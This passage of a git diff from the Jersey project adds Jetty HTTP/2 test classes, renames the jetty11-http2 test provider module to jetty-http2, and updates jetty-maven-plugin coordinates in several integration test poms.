+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty.http2;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.TestProperties;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.not;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Tests finding an available port for container.
+ *
+ */
+public class AvailablePortJettyTest extends JerseyTest {
+
+    @Override
+    protected TestContainerFactory getTestContainerFactory() {
+        return new JettyHttp2TestContainerFactory();
+    }
+
+    @Path("AvailablePortJettyTest")
+    public static class TestResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+    }
+
+    @Override
+    protected DeploymentContext configureDeployment() {
+        forceSet(TestProperties.CONTAINER_PORT, "0");
+
+        return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build();
+    }
+
+    @Test
+    public void testGet() {
+        assertThat(target().getUri().getPort(), not(0));
+        assertThat(getBaseUri().getPort(), not(0));
+
+        assertThat(target("AvailablePortJettyTest").request().get(String.class), equalTo("GET"));
+    }
+}
diff --git a/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/JettyContainerTest.java b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/JettyContainerTest.java
new file mode 100644
index 0000000..f96c10c
--- /dev/null
+++ b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/JettyContainerTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty.http2;
+
+import java.net.URI;
+import java.util.List;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager;
+import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.jetty.http2.JettyHttp2ContainerFactory;
+import org.glassfish.jersey.jetty.JettyHttpContainer;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.glassfish.hk2.api.ServiceLocator;
+
+import org.jvnet.hk2.internal.ServiceLocatorImpl;
+
+import org.eclipse.jetty.server.Server;
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Test class for {@link JettyHttpContainer}.
+ *
+ */
+public class JettyContainerTest extends JerseyTest {
+
+    /**
+     * Creates new instance.
+     */
+    public JettyContainerTest() {
+        super(new JettyHttp2TestContainerFactory());
+    }
+
+    @Override
+    protected ResourceConfig configure() {
+        return new ResourceConfig(Resource.class);
+    }
+
+    /**
+     * Test resource class.
+     */
+    @Path("one")
+    public static class Resource {
+
+        /**
+         * Test resource method.
+         *
+         * @return Test simple string response.
+         */
+        @GET
+        public String getSomething() {
+            return "get";
+        }
+    }
+
+    @Test
+    /**
+     * Test {@link Server Jetty Server} container.
+     */
+    public void testJettyContainerTarget() {
+        final Response response = target().path("one").request().get();
+
+        assertEquals(200, response.getStatus(), "Response status unexpected.");
+        assertEquals("get", response.readEntity(String.class), "Response entity unexpected.");
+    }
+
+    /**
+     * Test that defined ServiceLocator becomes a parent of the newly created service locator.
+     */
+    @Test
+    public void testParentServiceLocator() {
+        final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null);
+        final Server server = JettyHttp2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"),
+                new ResourceConfig(Resource.class), false, locator);
+        final JettyHttpContainer container = (JettyHttpContainer) server.getHandler();
+        final InjectionManager injectionManager = container.getApplicationHandler().getInjectionManager();
+
+        ServiceLocator serviceLocator;
+        if (injectionManager instanceof ImmediateHk2InjectionManager) {
+            serviceLocator = ((ImmediateHk2InjectionManager) injectionManager).getServiceLocator();
+        } else if (injectionManager instanceof DelayedHk2InjectionManager) {
+            serviceLocator = ((DelayedHk2InjectionManager) injectionManager).getServiceLocator();
+        } else {
+            throw new RuntimeException("Invalid Hk2 InjectionManager");
+        }
+        assertTrue(serviceLocator.getParent() == locator,
+                   "Application injection manager was expected to have defined parent locator");
+    }
+    @Test
+    public void testHttp2Container() {
+        final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null);
+        final Server server = JettyHttp2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"),
+                new ResourceConfig(Resource.class), true, locator);
+        final List<String> protocols = server.getConnectors()[0].getProtocols();
+        assertTrue(protocols.contains("h2") || protocols.contains("h2c"));
+    }
+}
diff --git a/test-framework/providers/jetty11-http2/pom.xml b/test-framework/providers/jetty11-http2/pom.xml
index 4cf3f49..ed1cf22 100644
--- a/test-framework/providers/jetty11-http2/pom.xml
+++ b/test-framework/providers/jetty11-http2/pom.xml
@@ -25,37 +25,12 @@
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
-    <artifactId>jersey-test-framework-provider-jetty11-http2</artifactId>
+    <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
     <packaging>jar</packaging>
-    <name>jersey-test-framework-provider-jetty11-http2</name>
+    <name>jersey-test-framework-provider-jetty-http2</name>
 
     <description>Jersey Test Framework - Jetty HTTP2 container</description>
 
-    <dependencyManagement>
-        <dependencies>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-util</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-alpn-conscrypt-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-        </dependencies>
-    </dependencyManagement>
-
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework</groupId>
@@ -64,14 +39,8 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-jetty11-http2</artifactId>
+            <artifactId>jersey-container-jetty-http2</artifactId>
             <version>${project.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>http2-server</artifactId>
-                </exclusion>
-            </exclusions>
         </dependency>
     </dependencies>
-</project>
+</project>
\ No newline at end of file
diff --git a/test-framework/providers/pom.xml b/test-framework/providers/pom.xml
index 1231da4..3098913 100644
--- a/test-framework/providers/pom.xml
+++ b/test-framework/providers/pom.xml
@@ -40,7 +40,7 @@
         <module>inmemory</module>
         <module>jdk-http</module>
         <module>jetty</module>
-<!--        <module>jetty11-http2</module>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
+        <module>jetty-http2</module>
         <module>netty</module>
         <module>simple</module>
     </modules>
diff --git a/tests/integration/jersey-2776/pom.xml b/tests/integration/jersey-2776/pom.xml
index 783ba1d..3cbb44d 100644
--- a/tests/integration/jersey-2776/pom.xml
+++ b/tests/integration/jersey-2776/pom.xml
@@ -73,8 +73,9 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.mortbay.jetty</groupId>
+                <groupId>org.eclipse.jetty</groupId>
                 <artifactId>jetty-maven-plugin</artifactId>
+                <version>${jetty11.version}</version>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/microprofile/config/helidon/pom.xml b/tests/integration/microprofile/config/helidon/pom.xml
index ede2a57..b842894 100644
--- a/tests/integration/microprofile/config/helidon/pom.xml
+++ b/tests/integration/microprofile/config/helidon/pom.xml
@@ -71,8 +71,9 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.mortbay.jetty</groupId>
+                <groupId>org.eclipse.jetty</groupId>
                 <artifactId>jetty-maven-plugin</artifactId>
+                <version>${jetty11.version}</version>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/microprofile/config/webapp/pom.xml b/tests/integration/microprofile/config/webapp/pom.xml
index fe1c633..e75c9b4 100644
--- a/tests/integration/microprofile/config/webapp/pom.xml
+++ b/tests/integration/microprofile/config/webapp/pom.xml
@@ -57,8 +57,9 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.mortbay.jetty</groupId>
+                <groupId>org.eclipse.jetty</groupId>
                 <artifactId>jetty-maven-plugin</artifactId>
+                <version>${jetty11.version}</version>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
index b46cd66..e0e5f6b 100644
--- a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
+++ b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
@@ -88,8 +88,9 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.mortbay.jetty</groupId>
+                <groupId>org.eclipse.jetty</groupId>
                 <artifactId>jetty-maven-plugin</artifactId>
+                <version>${jetty11.version}</version>
             </plugin>
             <plugin>
                 <groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
index bc4db91..298d378 100644
--- a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
+++ b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
@@ -71,8 +71,9 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.mortbay.jetty</groupId>
+                <groupId>org.eclipse.jetty</groupId>
                 <artifactId>jetty-maven-plugin</artifactId>
+                <version>${jetty11.version}</version>
             </plugin>
             <plugin>
                 <groupId>org.glassfish.jersey.test-framework.maven</groupId>